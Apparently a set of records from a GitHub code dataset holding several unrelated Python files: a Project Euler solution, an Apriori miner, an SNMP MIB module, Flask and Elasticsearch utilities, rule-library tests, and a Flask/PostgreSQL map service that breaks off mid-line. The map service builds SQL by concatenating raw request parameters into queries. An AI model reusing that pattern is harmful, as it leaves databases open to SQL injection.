QtWidgets.QApplication(sys.argv)\n    application = ApplicationWindow()\n    application.show()\n    app.exec_()\n\nif __name__ == \"__main__\":\n    main()","repo_name":"MoNader99/Task4","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":14974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19254038916","text":"# ProblemURL: https://projecteuler.net/problem=19\ndaysInYear = 365\ndaysInLeapYear = 366\nday = {0: \"monday\", 1: \"tuesday\", 2: \"wednesday\", 3: \"thursday\", 4: \"friday\", 5: \"saturday\", 6: \"sunday\"}\nmonthLength = {0: 31, 1: 28, 2: 31, 3: 30, 4: 31, 5: 30, 6: 31, 7: 31, 8: 30, 9: 31, 10: 30, 11: 31}\nmonthLengthLeapYear = {0: 31, 1: 29, 2: 31, 3: 30, 4: 31, 5: 30, 6: 31, 7: 31, 8: 30, 9: 31, 10: 30, 11: 31}\n\n\ndef isleapyear(x):\n    if x % 4 == 0:\n        if x % 100 == 0:\n            if x % 400 == 0:\n                return True\n            return False\n        return True\n    return False\n\n\nclass Month:\n    def __init__(self, year, monthnumber):\n        self.year = year\n        self.monthnumber = monthnumber\n        days = 0\n        for x in range(1900, year, 1):\n            if isleapyear(x):\n                days += daysInLeapYear\n            else:\n                days += daysInYear\n        for x in range(monthnumber - 1):\n            if isleapyear(year):\n                days += monthLengthLeapYear[x]\n            else:\n                days += monthLength[x]\n        self.monthFirstDay = days % 7\n\n\nsundayList = []\nfor i in range(1901, 2001, 1):\n    for j in range(1, 13, 1):\n        sundayList.append(Month(i, j))\n\nsundayammount = 0\nfor m in sundayList:\n    if m.monthFirstDay == 6:\n        sundayammount += 1\nprint(sundayammount)","repo_name":"ChipoXD/ProjectEuler","sub_path":"Problems/Problem1-20/Problem19.py","file_name":"Problem19.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34944074578","text":"import dm2022exp\r\nimport numpy as np\r\nimport pandas as pd\r\nimport copy\r\nimport math\r\nimport collections\r\nimport functools\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom typing import List, Union, Tuple\r\n\r\n\r\nclass Apriori:\r\n    score = {}\r\n\r\n    def __init__(self, min_sup: float = 0.2):\r\n        self.min_sup = min_sup\r\n        self.min_conf = 0.5\r\n\r\n    def fit(self, X: List[List[str]]):\r\n        f = LabelEncoder()\r\n        k = 1\r\n        tmp = []\r\n        rst = []\r\n        rule = {}\r\n        for i in X:\r\n            for j in i:\r\n                if j not in tmp:\r\n                    tmp.append(j)\r\n        f.fit(tmp)\r\n        for i in range(len(tmp)):\r\n            tmp[i] = list(f.transform([tmp[i]]))\r\n        tmp = sorted(tmp)\r\n        new_x = list(map(set, [f.transform(i) for i in copy.deepcopy(X)]))\r\n        tmp2 = self.scan(new_x, tmp, rst, f)\r\n\r\n        while len(tmp2) != 0:\r\n            tmp = self.scan2(tmp2, k)\r\n            tmp2 = self.scan(new_x, tmp, rst, f)\r\n            self.UpdateRule(tmp2, rule, f)\r\n            k += 1\r\n        return rst, rule\r\n\r\n    def UpdateRule(self, freq, rule, f):\r\n        for value in freq:\r\n            element = self.get_sub_set(value)\r\n            support = self.score[str(value)]\r\n            for number in element:\r\n                number_set = set(number)\r\n                no_number_set = set(value).difference(number_set)\r\n                number_support = self.score[str(number)]\r\n                conf = support / number_support\r\n                if conf >= self.min_conf:\r\n                    temp1_set = set([i for i in f.inverse_transform([i for i in number_set])])\r\n                    temp2_set = set([i for i in f.inverse_transform([i for i in no_number_set])])\r\n                    rule[str(temp1_set) + '->' + str(temp2_set)] = conf\r\n\r\n    def scan(self, dataset, ck, rst, f):\r\n        tmp = []\r\n        for j in ck:\r\n            support = self.calc_sup(j, dataset)\r\n            if support >= self.min_sup:\r\n                rst.append([frozenset(f.inverse_transform(j)), support])\r\n                tmp.append(j)\r\n        return tmp\r\n\r\n    def scan2(self, lk, k):\r\n        new_can = []\r\n        for i in range(len(lk)):\r\n            for j in range(i + 1, len(lk)):\r\n                if k == 1 or lk[i][:k - 1] == lk[j][:k - 1]:\r\n                    new_can.append(lk[i] + lk[j][-1:])\r\n        return new_can\r\n\r\n    def get_sub_set(self, nums):\r\n        sub_sets = [[]]\r\n        for x in nums:\r\n            sub_sets.extend([item + [x] for item in sub_sets])\r\n            pass\r\n        sub_sets.remove([])\r\n        sub_sets.remove(nums)\r\n        return sub_sets\r\n\r\n    def calc_sup(self, x, dataset):\r\n\r\n        if str(x) in self.score.keys():\r\n            return self.score[x]\r\n        count = 0\r\n        for affair in dataset:\r\n            if set(x).issubset(affair):\r\n                count += 1\r\n        self.score[str(x)] = count / len(dataset)\r\n        return count / len(dataset)\r\n\r\n\r\nm = Apriori(0.005)\r\ndata = dm2022exp.load_ex5_data()\r\nrst, rule = m.fit(data)\r\nprint(rst)\r\nprint(rule)\r\n","repo_name":"Ne2dle/DataMining-practice","sub_path":"Apriori/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6795416929","text":"#\n# PySNMP MIB module HIK-DEVICE-MIB (http://snmplabs.com/pysmi)\n# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HIK-DEVICE-MIB\n# Produced by pysmi-0.3.4 at Wed May  1 13:30:40 2019\n# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4\n# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) \n#\nOctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"ObjectIdentifier\", \"Integer\")\nNamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\")\nSingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection, ConstraintsUnion = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"SingleValueConstraint\", \"ValueSizeConstraint\", \"ValueRangeConstraint\", \"ConstraintsIntersection\", \"ConstraintsUnion\")\nModuleCompliance, NotificationGroup = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"ModuleCompliance\", \"NotificationGroup\")\nTimeTicks, Integer32, Bits, Counter32, ModuleIdentity, enterprises, MibScalar, MibTable, MibTableRow, MibTableColumn, Gauge32, ObjectIdentity, iso, IpAddress, Unsigned32, MibIdentifier, Counter64, NotificationType = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"TimeTicks\", \"Integer32\", \"Bits\", \"Counter32\", \"ModuleIdentity\", \"enterprises\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"Gauge32\", \"ObjectIdentity\", \"iso\", \"IpAddress\", \"Unsigned32\", \"MibIdentifier\", \"Counter64\", \"NotificationType\")\nTextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\")\ntest = MibIdentifier((1, 3, 6, 1, 4, 1, 39165))\ndevicemib = MibIdentifier((1, 3, 6, 1, 4, 1, 39165, 1))\ndeviceType = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: deviceType.setStatus('current')\nif mibBuilder.loadTexts: deviceType.setDescription('The type of device.')\nhardwVersion = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: hardwVersion.setStatus('current')\nif mibBuilder.loadTexts: hardwVersion.setDescription('The version of hardware in this device.')\nsoftwVersion = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: softwVersion.setStatus('current')\nif mibBuilder.loadTexts: softwVersion.setDescription('The version of software in this device')\nmacAddr = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: macAddr.setStatus('current')\nif mibBuilder.loadTexts: macAddr.setDescription('The MAC address of the device.')\ndeviceID = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 5), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: deviceID.setStatus('current')\nif mibBuilder.loadTexts: deviceID.setDescription('The code name of manufacturer of this device.')\nmanufacturer = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 6), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: manufacturer.setStatus('current')\nif mibBuilder.loadTexts: manufacturer.setDescription('The manufacturer of this device.')\ncpuPercent = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 7), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: cpuPercent.setStatus('current')\nif mibBuilder.loadTexts: cpuPercent.setDescription('Percentage of cpu used on the device.')\ndiskSize = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 8), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: diskSize.setStatus('current')\nif mibBuilder.loadTexts: diskSize.setDescription('The tatol size of the disk.')\ndiskPercent = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: diskPercent.setStatus('current')\nif mibBuilder.loadTexts: diskPercent.setDescription('Percentage of space used on disk.')\nmemSize = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 10), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: memSize.setStatus('current')\nif mibBuilder.loadTexts: memSize.setDescription('The memory size on the device.')\nmemUsed = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 11), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: memUsed.setStatus('current')\nif mibBuilder.loadTexts: memUsed.setDescription('The memory used on the device.')\nrestartDev = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 12), Integer32()).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: restartDev.setStatus('current')\nif mibBuilder.loadTexts: restartDev.setDescription('The support of restarting the device.')\ndynIpAddr = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 13), IpAddress()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: dynIpAddr.setStatus('current')\nif mibBuilder.loadTexts: dynIpAddr.setDescription('The dynamic IP address.')\ndynNetMask = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 14), IpAddress()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: dynNetMask.setStatus('current')\nif mibBuilder.loadTexts: dynNetMask.setDescription('The dynamic subnet mask associated with the IP address.')\ndynGateway = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 15), IpAddress()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: dynGateway.setStatus('current')\nif mibBuilder.loadTexts: dynGateway.setDescription('The dynamic gateway address.')\nstaticIpAddr = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 16), IpAddress()).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: staticIpAddr.setStatus('current')\nif mibBuilder.loadTexts: staticIpAddr.setDescription('The static IP address.')\nstaticNetMask = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 17), IpAddress()).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: staticNetMask.setStatus('current')\nif mibBuilder.loadTexts: staticNetMask.setDescription('The static subnet mask associated with the IP address.')\nstaticGateway = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 18), IpAddress()).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: staticGateway.setStatus('current')\nif mibBuilder.loadTexts: staticGateway.setDescription('The static Gateway.')\nsysTime = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 19), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: sysTime.setStatus('current')\nif mibBuilder.loadTexts: sysTime.setDescription(\"The host's notion of the local date and time of day.\")\nvideoInChanNum = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 20), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: videoInChanNum.setStatus('current')\nif mibBuilder.loadTexts: videoInChanNum.setDescription('The number of video input channels.')\nvideoEncode = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 21), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: videoEncode.setStatus('current')\nif mibBuilder.loadTexts: videoEncode.setDescription('The type of video coding.')\nvideoNetTrans = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 22), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: videoNetTrans.setStatus('current')\nif mibBuilder.loadTexts: videoNetTrans.setDescription('The type of video network transmission.')\naudioAbility = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 23), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: audioAbility.setStatus('current')\nif mibBuilder.loadTexts: audioAbility.setDescription('The ability of audio.')\naudioInNum = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 24), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: audioInNum.setStatus('current')\nif mibBuilder.loadTexts: audioInNum.setDescription('The number of audio input.')\nvideoOutNum = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 25), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: videoOutNum.setStatus('current')\nif mibBuilder.loadTexts: videoOutNum.setDescription('The number of video output.')\nclarityChanNum = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 26), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: clarityChanNum.setStatus('current')\nif mibBuilder.loadTexts: clarityChanNum.setDescription('The number of clarity channels.')\nlocalStorage = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 27), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: localStorage.setStatus('current')\nif mibBuilder.loadTexts: localStorage.setDescription('The support of local storage.')\nrtspPlayBack = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 28), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: rtspPlayBack.setStatus('current')\nif mibBuilder.loadTexts: rtspPlayBack.setDescription('The support of RTSP lookback.')\nnetAccessType = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 29), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: netAccessType.setStatus('current')\nif mibBuilder.loadTexts: netAccessType.setDescription('The type of network access supported.')\nalarmInChanNum = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 30), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: alarmInChanNum.setStatus('current')\nif mibBuilder.loadTexts: alarmInChanNum.setDescription('The num of input channel for alarming.')\nalarmOutChanNum = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 31), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: alarmOutChanNum.setStatus('current')\nif mibBuilder.loadTexts: alarmOutChanNum.setDescription('The num of output channel for alarming.')\nmanageServAddr = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 32), IpAddress()).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: manageServAddr.setStatus('current')\nif mibBuilder.loadTexts: manageServAddr.setDescription('The address of network manage host.')\nmanagePort = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 34), Integer32()).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: managePort.setStatus('current')\nif mibBuilder.loadTexts: managePort.setDescription('The port of network manage host.')\nntpServIpAddr = MibScalar((1, 3, 6, 1, 4, 1, 39165, 1, 33), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess(\"readwrite\")\nif mibBuilder.loadTexts: ntpServIpAddr.setStatus('current')\nif mibBuilder.loadTexts: ntpServIpAddr.setDescription('The IP address of NTP server.')\nmibBuilder.exportSymbols(\"HIK-DEVICE-MIB\", manageServAddr=manageServAddr, localStorage=localStorage, softwVersion=softwVersion, dynGateway=dynGateway, videoEncode=videoEncode, devicemib=devicemib, diskPercent=diskPercent, videoNetTrans=videoNetTrans, clarityChanNum=clarityChanNum, alarmOutChanNum=alarmOutChanNum, dynIpAddr=dynIpAddr, staticGateway=staticGateway, videoInChanNum=videoInChanNum, sysTime=sysTime, manufacturer=manufacturer, diskSize=diskSize, deviceType=deviceType, memSize=memSize, macAddr=macAddr, audioInNum=audioInNum, netAccessType=netAccessType, staticNetMask=staticNetMask, alarmInChanNum=alarmInChanNum, hardwVersion=hardwVersion, memUsed=memUsed, ntpServIpAddr=ntpServIpAddr, rtspPlayBack=rtspPlayBack, videoOutNum=videoOutNum, managePort=managePort, dynNetMask=dynNetMask, cpuPercent=cpuPercent, restartDev=restartDev, staticIpAddr=staticIpAddr, test=test, deviceID=deviceID, audioAbility=audioAbility)\n","repo_name":"cisco-kusanagi/mibs.snmplabs.com","sub_path":"pysnmp-with-texts/HIK-DEVICE-MIB.py","file_name":"HIK-DEVICE-MIB.py","file_ext":"py","file_size_in_byte":11659,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"11647493673","text":"# -*- coding: utf-8 -*-\n\"\"\"Daily check for card and waiver expiry reminders.\n\nThe daily check is invoked via the cron API, well, once per day.\n\n\"\"\"\n\n# standard library imports\nfrom datetime import datetime\n\n# third-party imports\nfrom flask import current_app\n\n# application imports\nfrom emol.models import CardReminder, WaiverReminder\nfrom emol.utility.date import today\n\n\ndef daily_check():\n    \"\"\"Perform the daily check for card and waiver reminders.\n\n    Check CardReminder and WaiverReminder for any records with a\n    date of today or earlier (any earlier records most likely did not get\n    processed for whatever reason on their date). Fire off the reminder email\n    for each found record, then delete the record.\n\n    \"\"\"\n    current_app.logger.info('Daily check initiated')\n\n    this_day = today()\n    reminders = CardReminder.query.filter(CardReminder.reminder_date <= this_day).all()\n    for reminder in reminders:\n        current_app.logger.debug('Mail {0}'.format(reminder))\n        reminder.mail()\n        current_app.db.session.delete(reminder)\n\n    reminders = WaiverReminder.query.filter(WaiverReminder.reminder_date <= this_day).all()\n    for reminder in reminders:\n        current_app.logger.debug('Mail {0}'.format(reminder))\n        reminder.mail()\n        current_app.db.session.delete(reminder)\n\n    current_app.db.session.commit()\n\n    current_app.logger.info('Daily check complete')\n","repo_name":"lrt512/eMoL_flask","sub_path":"emol/emol/cron/daily_check.py","file_name":"daily_check.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26718396210","text":"import math\n\nhighlight = {\"pre_tags\": [\"\\u0002\"], \"post_tags\": [\"\\u0002\"], \"fields\": {\"body\": {}}}\n\ndef usersearch(message, ignored):\n  return { \"query\": {\"filtered\": {\n             \"query\": {\"multi_match\": {\"query\": message,\n                                       \"fields\": [\"body\",\n                                                  \"nick\"]}},\n             \"filter\": {\"not\": {\"terms\": {\"nick\": ignored}}}}},\n           \"highlight\": highlight}\n\ndef when(nick, message):\n  if message:\n    query = when(nick, None)\n    query[\"query\"][\"filtered\"][\"query\"] = {\"match\": {\"body\": message}}\n    query[\"highlight\"] = highlight\n    return query\n  else:\n    return {\"query\": {\"filtered\": {\"filter\": {\"term\": {\"nick\": nick}}}}}\n\ndef context(numid):\n  return {\"filter\": {\"range\": {\"numid\": {\"gte\": numid-3,\n                                         \"lte\": numid+3}}}}\n\ndef who(message, ignored):\n  if message:\n    query = who(None, ignored)\n    query[\"query\"][\"filtered\"][\"query\"] = {\"match\": {\"body\": message}}\n    query[\"aggs\"][\"nicks\"][\"terms\"][\"min_doc_count\"] = 1\n    return query\n  else:\n    return { \"query\": {\"filtered\": { \"filter\": {\n                                       \"not\": {\"terms\": {\"nick\": ignored}}}}},\n             \"aggs\": { \"nicks\": {\"terms\": {\"field\": \"nick\", \"min_doc_count\": 1000}}}}\n\ndef regex(expression):\n  return {\"query\": {\"regexp\": {\"body\": expression}}}\n\ndef significant(nick):\n  return {\"query\": {\"filtered\": {\"filter\": {\"term\": {\"nick\": nick}}}},\n          \"aggs\": {\"most_sig\": {\"significant_terms\": {\"field\": \"body\"}}}}\n\n\ndef search(message, decay, numid, ignored):\n  return { \"query\": {\n             \"filtered\": {\n               \"query\": {\n                 \"function_score\": {\n                   \"query\": {\n                     \"match\": {\n                       \"body\": message\n                     }\n                   },\n                   \"functions\": [{\n                     \"gauss\": {\n                       \"numid\": {\n                         \"decay\": decay,\n                         \"origin\": 1,\n                         \"offset\": 1,\n                         \"scale\": math.floor(numid / 2)\n                       }\n                     }\n                   }, {\n                     \"linear\": {\n                       \"mentions\": {\n                         \"origin\": 0,\n                         \"scale\": 1\n                       }\n                     }\n                   }]\n                 }\n               },\n               \"filter\": {\n                 \"bool\": {\n                   \"must_not\": [{\n                     \"terms\": {\n                       \"nick\": ignored\n                     }\n                   }, {\n                     \"range\": {\n                       \"date\": {\n                         \"gt\": \"now-1d\"\n                       }\n                     }\n                   }, {\n                     \"prefix\": {\n                       \"body\": \"http\"\n                     }\n                   }]\n                 }\n               }\n             }\n           }\n         }\n\n# vim: tabstop=2:softtabstop=2:shiftwidth=2:expandtab\n","repo_name":"ArdaXi/Lucy","sub_path":"queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9552602248","text":"# -*- coding: utf-8 -*-\n\nimport mock\nimport unittest\nimport datetime\n\nfrom rgc.rules import rule, Rule\nfrom rgc.rules import olderthan, newerthan, ageexact\nfrom rgc.rules import namehasprefix, namehassuffix, containerhasprefix, containerhassuffix\nfrom rgc.rules import AVAILABLE_RULES\n\n\nclass TestRule(unittest.TestCase):\n\n    def setUp(self):\n        self.obj = object()\n\n    def test_rule_decorator(self):\n        @rule\n        def foo(obj, *args, **kwargs):\n            pass\n\n        self.assertTrue(Rule, isinstance(foo, Rule))\n\n    def test_base_class_returns_true(self):\n        self.assertTrue(Rule().apply(self.obj))\n\n    def test_unary_negation(self):\n        rule = ~Rule()\n        self.assertFalse(rule.apply(object))\n        self.assertTrue((~rule).apply(object))\n\n    def test_and_operator(self):\n        true = Rule()\n        false = ~Rule()\n        self.assertTrue((true & true).apply(self.obj))\n        self.assertFalse((true & false).apply(self.obj))\n        self.assertFalse((false & true).apply(self.obj))\n        self.assertFalse((false & false).apply(self.obj))\n\n    def test_or_operator(self):\n        true = Rule()\n        false = ~Rule()\n        self.assertTrue((true | true).apply(self.obj))\n        self.assertTrue((true | false).apply(self.obj))\n        self.assertTrue((false | true).apply(self.obj))\n        self.assertFalse((false | false).apply(self.obj))\n\n    def test_xor_operator(self):\n        true = Rule()\n        false = ~Rule()\n        self.assertFalse((true ^ true).apply(self.obj))\n        self.assertTrue((true ^ false).apply(self.obj))\n        self.assertTrue((false ^ true).apply(self.obj))\n        self.assertFalse((false ^ false).apply(self.obj))\n\n    def test_combination(self):\n        @rule\n        def maiorque(obj, value):\n            return obj > value\n\n        @rule\n        def iguala(obj, value):\n            return obj == value\n\n        myrule = maiorque(10) | iguala(20)\n        self.assertTrue(myrule.apply(30))\n        self.assertFalse(myrule.apply(3))\n        self.assertTrue(myrule.apply(20))\n\n        rule_2 = maiorque(10) & maiorque(15)\n        self.assertTrue(rule_2.apply(20))\n\n        rule_2 = maiorque(10) & ~maiorque(15)\n        self.assertTrue(rule_2.apply(12))\n        self.assertFalse(rule_2.apply(16))\n\n        rule_2 = maiorque(10) ^ iguala(15)\n        self.assertTrue(rule_2.apply(30))\n        self.assertFalse(rule_2.apply(8))\n\n\nclass TestBaseRules(unittest.TestCase):\n\n    def test_olderthan(self):\n        obj = mock.MagicMock()\n        dt = datetime.timedelta(days=31)\n        objdate = (datetime.datetime.now() - dt)\n        obj.last_modified = objdate.strftime('%Y-%m-%dT%H:%M:%S.%f')\n\n        #returns True when obj is old\n        self.assertTrue(olderthan(ndays=dt.days-1).apply(obj))\n        #returns False when obj is new\n        self.assertFalse(olderthan(ndays=dt.days+1).apply(obj))\n        #returns False when obj has the same age\n        self.assertFalse(olderthan(ndays=dt.days).apply(obj))\n\n    def test_newerthan(self):\n        obj = mock.MagicMock()\n        dt = datetime.timedelta(days=31)\n        objdate = (datetime.datetime.now() - dt)\n        obj.last_modified = objdate.strftime('%Y-%m-%dT%H:%M:%S.%f')\n\n        #returns False when obj is old\n        self.assertFalse(newerthan(ndays=dt.days-1).apply(obj))\n        #returns True when obj is new\n        self.assertTrue(newerthan(ndays=dt.days+1).apply(obj))\n        #returns False when obj has the same age\n        self.assertFalse(newerthan(ndays=dt.days).apply(obj))\n\n    def test_ageexact(self):\n        obj = mock.MagicMock()\n        dt = datetime.timedelta(days=31)\n        objdate = (datetime.datetime.now() - dt)\n        obj.last_modified = objdate.strftime('%Y-%m-%dT%H:%M:%S.%f')\n\n        #returns False when obj is old\n        self.assertFalse(ageexact(ndays=dt.days-1).apply(obj))\n        #returns False when obj is new\n        self.assertFalse(ageexact(ndays=dt.days+1).apply(obj))\n        #returns True when obj has the same age\n        self.assertTrue(ageexact(ndays=dt.days).apply(obj))\n\n    def test_namehasprefix(self):\n        export = mock.MagicMock()\n        export.name = 'export_frete'\n\n        notexport = mock.MagicMock()\n        notexport.name = 'blargh'\n\n        isexport = namehasprefix('export_')\n\n        self.assertTrue(isexport.apply(export))\n        self.assertFalse(isexport.apply(notexport))\n\n    def test_namehassuffix(self):\n        odp = mock.MagicMock()\n        odp.name = 'presentation.odp'\n\n        notodp = mock.MagicMock()\n        notodp.name = 'blargh'\n\n        isodp = namehassuffix('.odp')\n        self.assertTrue(isodp.apply(odp))\n        self.assertFalse(isodp.apply(notodp))\n\n    def test_containerhasprefix(self):\n        export = mock.MagicMock()\n        export.container.name = 'export_frete'\n\n        notexport = mock.MagicMock()\n        notexport.container.name = 'blargh'\n\n        isexport = containerhasprefix('export_')\n\n        self.assertTrue(isexport.apply(export))\n        self.assertFalse(isexport.apply(notexport))\n\n    def test_containerhassuffix(self):\n        odp = mock.MagicMock()\n        odp.container.name = 'presentation.odp'\n\n        notodp = mock.MagicMock()\n        notodp.container.name = 'blargh'\n\n        isodp = containerhassuffix('.odp')\n        self.assertTrue(isodp.apply(odp))\n        self.assertFalse(isodp.apply(notodp))\n\n\nclass RuleDecoratorTest(unittest.TestCase):\n\n    def setUp(self):\n        AVAILABLE_RULES = {}\n\n    def test_register_rule(self):\n        @rule\n        def myrule(obj, param):\n            return True\n\n        self.assertTrue('myrule' in AVAILABLE_RULES)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"sievetech/rgc","sub_path":"test/test_rules.py","file_name":"test_rules.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"32715665099","text":"from flask import Flask, request, render_template\nimport json\nimport postgresql.driver as pg_driver\n\napp = Flask(__name__)\napp.debug = True\napp.config.from_pyfile('map.cfg')\ndb = None\n\ndb = pg_driver.connect(\n    database=app.config['APP_NAME'],\n    user=app.config['PG_DB_USERNAME'],\n    password=app.config['PG_DB_PASSWORD'],\n    host=app.config['PG_DB_HOST'],\n    port=app.config['PG_DB_PORT']\n)\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n@app.route('/wfs/')\ndef wfs():\n    return render_template('wfs.html')\n\n# return all parks:\n@app.route(\"/layers/\")\ndef layers():\n    # list all tables registered in geometry_columns view\n    result = db.prepare(\n        'SELECT f_table_name as table_name, f_geometry_column as geometry_column from geometry_columns;')\n\n    # Now turn the results into valid JSON\n\n\n    return str(json.dumps(list(result().dictresult())))\n\n\n@app.route(\"/layer/within\")\ndef layer_within():\n    table_name = str(request.args.get('layer'))\n    geometry_column = str(request.args.get('geometry_column'))\n    srid = str(request.args.get('srid'))\n    lat1 = str(request.args.get('lat1'))\n    lon1 = str(request.args.get('lon1'))\n    lat2 = str(request.args.get('lat2'))\n    lon2 = str(request.args.get('lon2'))\n\n    # use the request parameters in the query\n\n    query = \"select column_name from information_schema.columns where table_name='\" + table_name + \"' and column_name <> '\" + geometry_column + \"'\"\n    result = db.prepare(query)\n\n    columns = None\n    for x in result():\n        if not columns:\n            columns = \"\\\"\" + x[0] + \"\\\"\"\n        else:\n            columns += \", \\\"\" + x[0] + \"\\\"\"\n\n    query = \"SELECT row_to_json(fc) \" \\\n            \" FROM ( SELECT 'FeatureCollection' As type, array_to_json(array_agg(f)) As features\" \\\n            \" FROM (SELECT 'Feature' As type\" \\\n            \" , ST_AsGeoJSON(tb.\" + geometry_column + \")::json As geometry\"\n    if columns:\n            query += \" , row_to_json((SELECT l FROM (SELECT \" + 